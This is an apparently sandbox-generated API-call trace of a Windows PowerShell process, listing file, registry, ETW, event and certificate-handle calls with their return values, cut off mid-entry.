GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy", nBufferLength=0x10, lpBuffer=0x323fc20, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy", lpFilePart=0x0) returned 0xf [0081.287] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop" (normalized: "c:\\users\\fd1hvy\\desktop")) returned 0x11 [0081.287] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop" (normalized: "c:\\users\\fd1hvy\\desktop")) returned 0x11 [0081.287] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x18 [0081.287] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop", nBufferLength=0x18, lpBuffer=0x323fc20, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop", lpFilePart=0x0) returned 0x17 [0081.288] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop" (normalized: "c:\\users\\fd1hvy\\desktop")) returned 0x11 [0081.396] EtwEventRegister (in: ProviderId=0x514b6c0, EnableCallback=0x7152d7e, CallbackContext=0x0, RegHandle=0x514b69c | out: RegHandle=0x514b69c) returned 0x0 [0081.397] EtwEventSetInformation (RegHandle=0x74478f0, InformationClass=0x75, EventInformation=0x2, InformationLength=0x514b660) returned 0x0 [0081.408] EnumerateTraceGuidsEx () returned 0x0 [0081.408] GetCurrentProcessId () returned 0x190 [0081.417] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Winevt\\Publishers\\{816ebd75-f7ab-59c0-e2f0-bddfeed66ac2}", ulOptions=0x0, samDesired=0x20019, phkResult=0x2bfd82c | out: phkResult=0x2bfd82c*=0x0) returned 0x2 [0081.449] GetCurrentProcessId () returned 0x190 [0081.526] CoTaskMemAlloc (cb=0x20c) returned 0x321a8c8 [0081.526] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x321a8c8, nSize=0x104 | out: lpBuffer="݄굀݀") returned 0x0 [0081.526] CoTaskMemFree (pv=0x321a8c8) [0081.920] EtwEventWriteTransfer (RegHandle=0x3228ae8, EventDescriptor=0x68, ActivityId=0x2bfe940, RelatedActivityId=0x2bfe8e0, UserDataCount=0x0, UserData=0x0) returned 0x0 [0081.920] GetCurrentProcessId () returned 0x190 [0081.920] OpenProcess (dwDesiredAccess=0x1000, bInheritHandle=0, dwProcessId=0x190) returned 0x70c [0081.920] GetProcessTimes (in: hProcess=0x70c, lpCreationTime=0x517b2b8, lpExitTime=0x517b2c0, lpKernelTime=0x517b2c8, lpUserTime=0x517b2d0 | out: lpCreationTime=0x517b2b8, lpExitTime=0x517b2c0, lpKernelTime=0x517b2c8, lpUserTime=0x517b2d0) returned 1 [0081.921] CloseHandle (hObject=0x70c) returned 1 [0081.924] CoTaskMemAlloc (cb=0x20c) returned 0x321a8c8 [0081.924] GetSystemDirectoryW (in: lpBuffer=0x321a8c8, uSize=0x104 | out: lpBuffer="C:\\WINDOWS\\system32") returned 0x13 [0081.924] CoTaskMemFree (pv=0x321a8c8) [0081.924] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\wldp.dll", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x1d [0081.924] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\wldp.dll", nBufferLength=0x1d, lpBuffer=0x323fc20, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\wldp.dll", lpFilePart=0x0) returned 0x1c [0081.924] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2bfe728) returned 1 [0081.924] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS\\system32\\wldp.dll" (normalized: "c:\\windows\\system32\\wldp.dll"), fInfoLevelId=0x0, lpFileInformation=0x2bfe7a4 | out: lpFileInformation=0x2bfe7a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fa1c22f, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x6fa1c22f, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x6fa1c22f, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xe840)) returned 1 [0081.924] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2bfe724) returned 1 [0081.935] WldpGetLockdownPolicy () returned 0x10000000 [0081.936] CoTaskMemAlloc (cb=0x20c) returned 0x321a8c8 [0081.936] GetTempPathW (in: nBufferLength=0x104, lpBuffer=0x321a8c8 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\") returned 0x23 [0081.936] CoTaskMemFree (pv=0x321a8c8) [0081.936] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x24 [0081.936] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\", nBufferLength=0x24, lpBuffer=0x323fc20, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\", lpFilePart=0x0) returned 0x23 [0081.936] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x24 [0081.936] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\", nBufferLength=0x24, lpBuffer=0x323fc20, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\", lpFilePart=0x0) returned 0x23 [0081.936] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2bfe71c) returned 1 [0081.936] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp"), fInfoLevelId=0x0, lpFileInformation=0x2bfe798 | out: lpFileInformation=0x2bfe798*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x210ad1cc, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x607fb27f, ftLastAccessTime.dwHighDateTime=0x1d64098, ftLastWriteTime.dwLowDateTime=0x607fb27f, ftLastWriteTime.dwHighDateTime=0x1d64098, nFileSizeHigh=0x0, nFileSizeLow=0x3000)) returned 1 [0081.936] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2bfe718) returned 1 [0081.940] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\__PSScriptPolicyTest_rteipa5x.j33.ps1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x49 [0081.940] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\__PSScriptPolicyTest_rteipa5x.j33.ps1", nBufferLength=0x49, lpBuffer=0x323fc20, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\__PSScriptPolicyTest_rteipa5x.j33.ps1", lpFilePart=0x0) returned 0x48 [0081.940] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2bfe664) returned 1 [0081.940] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\__PSScriptPolicyTest_rteipa5x.j33.ps1" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\__psscriptpolicytest_rteipa5x.j33.ps1"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x788 [0081.940] GetFileType (hFile=0x788) returned 0x1 [0081.940] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2bfe660) returned 1 [0081.940] GetFileType (hFile=0x788) returned 0x1 [0081.940] WriteFile (in: hFile=0x788, lpBuffer=0x517dd48*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x2bfe6e0, lpOverlapped=0x0 | out: lpBuffer=0x517dd48*, lpNumberOfBytesWritten=0x2bfe6e0*=0x1, lpOverlapped=0x0) returned 1 [0081.942] CloseHandle (hObject=0x788) returned 1 [0081.942] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\__PSScriptPolicyTest_ug4smyvz.fyf.psm1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x4a [0081.943] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\__PSScriptPolicyTest_ug4smyvz.fyf.psm1", nBufferLength=0x4a, lpBuffer=0x323fc20, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\__PSScriptPolicyTest_ug4smyvz.fyf.psm1", lpFilePart=0x0) returned 0x49 [0081.943] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2bfe664) returned 1 [0081.943] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\__PSScriptPolicyTest_ug4smyvz.fyf.psm1" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\__psscriptpolicytest_ug4smyvz.fyf.psm1"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x788 [0081.943] GetFileType (hFile=0x788) returned 0x1 [0081.943] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2bfe660) returned 1 [0081.943] GetFileType (hFile=0x788) returned 0x1 [0081.943] WriteFile (in: hFile=0x788, lpBuffer=0x5180294*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x2bfe6e0, lpOverlapped=0x0 | out: lpBuffer=0x5180294*, lpNumberOfBytesWritten=0x2bfe6e0*=0x1, lpOverlapped=0x0) returned 1 [0081.944] CloseHandle (hObject=0x788) returned 1 [0081.945] CoTaskMemAlloc (cb=0x92) returned 0x327cce8 [0081.945] IdentifyCodeAuthzLevelW () returned 0x1 [0081.990] CoTaskMemFree (pv=0x327cce8) [0081.991] ComputeAccessTokenFromCodeAuthzLevel () returned 0x1 [0081.991] CloseCodeAuthzLevel () returned 0x1 [0081.991] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\__PSScriptPolicyTest_rteipa5x.j33.ps1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x49 [0081.991] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\__PSScriptPolicyTest_rteipa5x.j33.ps1", nBufferLength=0x49, lpBuffer=0x323fc20, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\__PSScriptPolicyTest_rteipa5x.j33.ps1", lpFilePart=0x0) returned 0x48 [0081.991] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2bfe724) returned 1 [0081.991] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\__PSScriptPolicyTest_rteipa5x.j33.ps1" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\__psscriptpolicytest_rteipa5x.j33.ps1"), fInfoLevelId=0x0, lpFileInformation=0x2bfe7a0 | out: lpFileInformation=0x2bfe7a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7b411dfe, ftCreationTime.dwHighDateTime=0x1d64098, ftLastAccessTime.dwLowDateTime=0x7b411dfe, ftLastAccessTime.dwHighDateTime=0x1d64098, ftLastWriteTime.dwLowDateTime=0x7b438088, ftLastWriteTime.dwHighDateTime=0x1d64098, nFileSizeHigh=0x0, nFileSizeLow=0x1)) returned 1 [0081.992] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2bfe720) returned 1 [0081.992] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\__PSScriptPolicyTest_rteipa5x.j33.ps1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x49 [0081.992] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\__PSScriptPolicyTest_rteipa5x.j33.ps1", nBufferLength=0x49, lpBuffer=0x323fc20, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\__PSScriptPolicyTest_rteipa5x.j33.ps1", lpFilePart=0x0) returned 0x48 [0081.992] DeleteFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\__PSScriptPolicyTest_rteipa5x.j33.ps1" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\__psscriptpolicytest_rteipa5x.j33.ps1")) returned 1 [0081.993] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\__PSScriptPolicyTest_ug4smyvz.fyf.psm1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x4a [0081.993] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\__PSScriptPolicyTest_ug4smyvz.fyf.psm1", nBufferLength=0x4a, lpBuffer=0x323fc20, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\__PSScriptPolicyTest_ug4smyvz.fyf.psm1", lpFilePart=0x0) returned 0x49 [0081.993] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2bfe724) returned 1 [0081.993] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\__PSScriptPolicyTest_ug4smyvz.fyf.psm1" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\__psscriptpolicytest_ug4smyvz.fyf.psm1"), fInfoLevelId=0x0, lpFileInformation=0x2bfe7a0 | out: lpFileInformation=0x2bfe7a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7b438088, ftCreationTime.dwHighDateTime=0x1d64098, ftLastAccessTime.dwLowDateTime=0x7b438088, ftLastAccessTime.dwHighDateTime=0x1d64098, ftLastWriteTime.dwLowDateTime=0x7b438088, ftLastWriteTime.dwHighDateTime=0x1d64098, nFileSizeHigh=0x0, nFileSizeLow=0x1)) returned 1 [0081.993] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2bfe720) returned 1 [0081.993] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\__PSScriptPolicyTest_ug4smyvz.fyf.psm1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x4a [0081.993] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\__PSScriptPolicyTest_ug4smyvz.fyf.psm1", nBufferLength=0x4a, lpBuffer=0x323fc20, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\__PSScriptPolicyTest_ug4smyvz.fyf.psm1", lpFilePart=0x0) returned 0x49 [0081.993] DeleteFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\__PSScriptPolicyTest_ug4smyvz.fyf.psm1" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\__psscriptpolicytest_ug4smyvz.fyf.psm1")) returned 1 [0081.994] GetSystemInfo (in: lpSystemInfo=0x2bfe7d8 | out: lpSystemInfo=0x2bfe7d8*(dwOemId=0x0, wProcessorArchitecture=0x0, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0x7ffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x24a, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x4501)) [0081.994] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="System\\CurrentControlSet\\Control\\Session Manager\\Environment", ulOptions=0x0, samDesired=0x20019, phkResult=0x2bfe768 | out: phkResult=0x2bfe768*=0x78c) returned 0x0 [0081.995] RegQueryValueExW (in: hKey=0x78c, lpValueName="__PSLockdownPolicy", lpReserved=0x0, lpType=0x2bfe784, lpData=0x0, lpcbData=0x2bfe780*=0x0 | out: lpType=0x2bfe784*=0x0, lpData=0x0, lpcbData=0x2bfe780*=0x0) returned 0x2 [0081.995] RegCloseKey (hKey=0x78c) returned 0x0 [0081.997] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\PowerShell\\3\\PowerShellEngine", ulOptions=0x0, samDesired=0x20019, phkResult=0x2bfe7b4 | out: phkResult=0x2bfe7b4*=0x78c) returned 0x0 [0081.997] RegQueryValueExW (in: hKey=0x78c, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x2bfe7d4, lpData=0x0, lpcbData=0x2bfe7d0*=0x0 | out: lpType=0x2bfe7d4*=0x1, lpData=0x0, lpcbData=0x2bfe7d0*=0x56) returned 0x0 [0081.997] RegQueryValueExW (in: hKey=0x78c, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x2bfe7d4, lpData=0x518183c, lpcbData=0x2bfe7d0*=0x56 | out: lpType=0x2bfe7d4*=0x1, lpData="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0", lpcbData=0x2bfe7d0*=0x56) returned 0x0 [0081.997] RegCloseKey (hKey=0x78c) returned 0x0 [0081.997] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\PowerShell\\3\\PowerShellEngine", ulOptions=0x0, samDesired=0x20019, phkResult=0x2bfe7b4 | out: phkResult=0x2bfe7b4*=0x78c) returned 0x0 [0081.998] RegQueryValueExW (in: hKey=0x78c, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x2bfe7d4, lpData=0x0, lpcbData=0x2bfe7d0*=0x0 | out: lpType=0x2bfe7d4*=0x1, lpData=0x0, lpcbData=0x2bfe7d0*=0x56) returned 0x0 [0081.998] RegQueryValueExW (in: hKey=0x78c, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x2bfe7d4, lpData=0x5181bb4, lpcbData=0x2bfe7d0*=0x56 | out: lpType=0x2bfe7d4*=0x1, lpData="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0", lpcbData=0x2bfe7d0*=0x56) returned 0x0 [0081.998] RegCloseKey (hKey=0x78c) returned 0x0 [0082.005] CoTaskMemAlloc (cb=0x20c) returned 0x321a8c8 [0082.005] SHGetFolderPathW (in: hwnd=0x0, csidl=5, hToken=0x0, dwFlags=0x0, pszPath=0x321a8c8 | out: pszPath="C:\\Users\\FD1HVy\\Documents") returned 0x0 [0082.005] CoTaskMemFree (pv=0x321a8c8) [0082.005] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Documents", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x1a [0082.006] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Documents", nBufferLength=0x1a, lpBuffer=0x323fc20, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Documents", lpFilePart=0x0) returned 0x19 [0082.006] CoTaskMemAlloc (cb=0x20c) returned 0x321a8c8 [0082.006] SHGetFolderPathW (in: hwnd=0x0, csidl=5, hToken=0x0, dwFlags=0x0, pszPath=0x321a8c8 | out: pszPath="C:\\Users\\FD1HVy\\Documents") returned 0x0 [0082.006] CoTaskMemFree (pv=0x321a8c8) [0082.006] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Documents", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x1a [0082.006] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Documents", nBufferLength=0x1a, lpBuffer=0x323fc20, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Documents", lpFilePart=0x0) returned 0x19 [0082.007] GetCurrentProcessId () returned 0x190 [0082.007] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x5fa94e8, Length=0x27ad8, ResultLength=0x2bfe7e8 | out: SystemInformation=0x5fa94e8, ResultLength=0x2bfe7e8*=0x1b338) returned 0x0 [0082.364] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x78c [0082.364] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=1, lpName=0x0) returned 0x788 [0082.364] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName=0x0) returned 0x790 [0082.364] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName=0x0) returned 0x794 [0082.364] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x798 [0082.364] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=1, lpName=0x0) returned 0x79c [0082.364] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName=0x0) returned 0x7a0 [0082.365] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName=0x0) returned 0x7a4 [0082.365] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x7a8 [0082.365] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=1, lpName=0x0) returned 0x7ac [0082.365] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName=0x0) returned 0x7b0 [0082.365] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName=0x0) returned 0x7b4 [0082.372] SetEvent (hEvent=0x794) returned 1 [0082.372] SetEvent (hEvent=0x78c) returned 1 [0082.372] SetEvent (hEvent=0x788) returned 1 [0082.372] SetEvent (hEvent=0x790) returned 1 [0082.372] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName=0x0) returned 0x7b8 [0082.373] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\PowerShell\\1\\ShellIds", ulOptions=0x0, samDesired=0x20019, phkResult=0x2bfe6ec | out: phkResult=0x2bfe6ec*=0x7bc) returned 0x0 [0082.374] RegQueryValueExW (in: hKey=0x7bc, lpValueName="PipelineMaxStackSizeMB", lpReserved=0x0, lpType=0x2bfe70c, lpData=0x0, lpcbData=0x2bfe708*=0x0 | out: lpType=0x2bfe70c*=0x0, lpData=0x0, lpcbData=0x2bfe708*=0x0) returned 0x2 [0082.374] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x7c0 [0082.375] SetEvent (hEvent=0x7c0) returned 1 Thread: id = 57 os_tid = 0xf84 Thread: id = 58 os_tid = 0xd20 Thread: id = 59 os_tid = 0xcf8 Thread: id = 60 os_tid = 0xf70 Thread: id = 61 os_tid = 0xf58 [0069.844] CoGetContextToken (in: pToken=0x4c0f834 | out: pToken=0x4c0f834) returned 0x0 [0069.844] CObjectContext::QueryInterface () returned 0x0 [0069.844] CObjectContext::GetCurrentThreadType () returned 0x0 [0069.844] Release () returned 0x0 [0069.844] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0069.844] RoInitialize () returned 0x1 [0069.844] RoUninitialize () returned 0x0 [0080.965] CoGetContextToken (in: pToken=0x4c0f820 | out: pToken=0x4c0f820) returned 0x0 [0080.965] CoGetContextToken (in: pToken=0x4c0f7a0 | out: pToken=0x4c0f7a0) returned 0x0 [0080.965] Windows::Foundation::Diagnostics::TracingStatusChangedEventArgs::Release () returned 0x1 [0080.966] Windows::Foundation::Diagnostics::TracingStatusChangedEventArgs::Release () returned 0x0 [0080.966] CloseHandle (hObject=0x724) returned 1 [0080.967] CloseHandle (hObject=0x4d8) returned 1 [0080.968] CertFreeCertificateContext (pCertContext=0x737c788) returned 1 [0084.852] RegCloseKey (hKey=0x7bc) returned 0x0 [0084.852] CloseHandle (hObject=0x7f0) returned 1 [0090.634] CertFreeCertificateContext (pCertContext=0x7379218) returned 1 [0090.634] CertFreeCertificateContext (pCertContext=0x73792b8) returned 1 [0090.634] CloseHandle (hObject=0x85c) returned 1 [0090.634] CertFreeCertificateContext (pCertContext=0x7379178) returned 1 [0096.026] CloseHandle (hObject=0x8a0) returned 1 [0096.026] CloseHandle (hObject=0x850) returned 1 [0096.026] CloseHandle (hObject=0x85c) returned 1 [0096.026] CloseHandle (hObject=0x87c) returned 1 [0096.027] CloseHandle (hObject=0x88c) returned 1 [0096.027] CloseHandle (hObject=0x878) returned 1 [0096.027] CloseHandle (hObject=0x874) returned 1 [0096.027] CloseHandle (hObject=0x858) returned 1 [0097.136] CertFreeCertificateContext (pCertContext=0x7379178) returned 1 [0106.565] CertFreeCertificateContext (pCertContext=0x737c4b8) returned 1 [0106.565] CertFreeCertificateContext (pCertContext=0x737c2d8) returned 1 [0108.403] CertFreeCertificateContext (pCertContext=0x737c5f8) returned 1 [0108.403] CertFreeCertificateContext (pCertContext=0x737b568) returned 1 [0108.403] CertFreeCertificateContext (pCertContext=0x737ba68) returned 1 [0108.403] CertFreeCertificateContext (pCertContext=0x737c918) returned 1 [0111.650] CoGetContextToken (in: pToken=0x4c0f820 | out: pToken=0x4c0f820) returned 0x0 [0111.650] CObjectContext::QueryInterface () returned 0x0 [0111.650] CObjectContext::ContextCallback () returned 0x0 [0118.189] Release () returned 0x1 [0118.198] CloseHandle (hObject=0x8e8) returned 1 [0118.198] CloseHandle (hObject=0xa14) returned 1 [0118.198] CloseHandle (hObject=0xa1c) returned 1 [0118.198] CloseHandle (hObject=0xa34) returned 1 [0118.199] CloseHandle (hObject=0x9a4) returned 1 [0118.199] CloseHandle (hObject=0xa64) returned 1 [0118.199] CloseHandle (hObject=0xa78) returned 1 [0118.199] CloseHandle (hObject=0xa58) returned 1 [0118.199] CloseHandle (hObject=0xa54) returned 1 [0118.199] CloseHandle (hObject=0xa20) returned 1 [0118.199] CloseHandle (hObject=0x8ec) returned 1 [0118.199] CloseHandle (hObject=0xa00) returned 1 [0118.200] CloseHandle (hObject=0x874) returned 1 [0118.200] CloseHandle (hObject=0x9e4) returned 1 [0118.200] CloseHandle (hObject=0x9fc) returned 1 [0118.200] CertFreeCertificateContext (pCertContext=0x73c4540) returned 1 [0118.200] CertFreeCertificateContext (pCertContext=0x330c910) returned 1 [0118.200] CertFreeCertificateContext (pCertContext=0x737b5b8) returned 1 [0118.200] CertFreeCertificateContext (pCertContext=0x737b248) returned 1 [0118.200] CertFreeCertificateContext (pCertContext=0x737b6a8) returned 1 [0118.201] CertFreeCertificateContext (pCertContext=0x737b798) returned 1 [0118.201] CertFreeCertificateContext (pCertContext=0x73c41d0) returned 1 [0118.201] CertFreeCertificateContext (pCertContext=0x737bba8) returned 1 [0118.201] CertFreeCertificateContext (pCertContext=0x73c29c0) returned 1 [0118.202] CertFreeCertificateContext (pCertContext=0x737c738) returned 1 [0118.202] CertFreeCertificateContext (pCertContext=0x737e4d0) returned 1 [0118.202] CertFreeCertificateContext (pCertContext=0x73c28d0) returned 1 [0118.202] CertFreeCertificateContext (pCertContext=0x737b428) returned 1 [0118.203] CertFreeCertificateContext (pCertContext=0x737b978) returned 1 [0118.203] CertFreeCertificateContext (pCertContext=0x737e390) returned 1 [0118.203] CertFreeCertificateContext (pCertContext=0x737b748) returned 1 [0118.204] CertFreeCertificateContext (pCertContext=0x737e0c0) returned 1 [0118.204] CertFreeCertificateContext (pCertContext=0x737c918) returned 1 [0118.204] CertFreeCertificateContext (pCertContext=0x737b3d8) returned 1 [0118.204] CertFreeCertificateContext (pCertContext=0x32d6588) returned 1 [0118.204] CertFreeCertificateContext (pCertContext=0x737b6f8) returned 1 [0118.204] CertFreeCertificateContext (pCertContext=0x73ae080) returned 1 [0118.205] CertFreeCertificateContext (pCertContext=0x32d6538) returned 1 [0118.205] CertFreeCertificateContext (pCertContext=0x737bb58) returned 1 [0118.205] CertFreeCertificateContext (pCertContext=0x32d6b78) returned 1 [0118.205] CertFreeCertificateContext (pCertContext=0x73ae530) returned 1 [0118.205] CertFreeCertificateContext (pCertContext=0x73c2e70) returned 1 [0118.206] CertFreeCertificateContext (pCertContext=0x32f4500) returned 1 [0118.206] CertFreeCertificateContext (pCertContext=0x737b298) returned 1 [0118.206] CertFreeCertificateContext (pCertContext=0x73ae490) returned 1 [0118.206] CertFreeCertificateContext (pCertContext=0x32f4460) returned 1 [0118.206] CertFreeCertificateContext (pCertContext=0x737b388) returned 1 [0118.206] CertFreeCertificateContext (pCertContext=0x73c2c90) returned 1 [0118.207] CertFreeCertificateContext (pCertContext=0x32f4140) returned 1 [0118.207] CertFreeCertificateContext (pCertContext=0x73c2ec0) returned 1 [0118.207] CertFreeCertificateContext (pCertContext=0x737b888) returned 1 [0118.207] CertFreeCertificateContext (pCertContext=0x32f40a0) returned 1 [0118.207] CertFreeCertificateContext 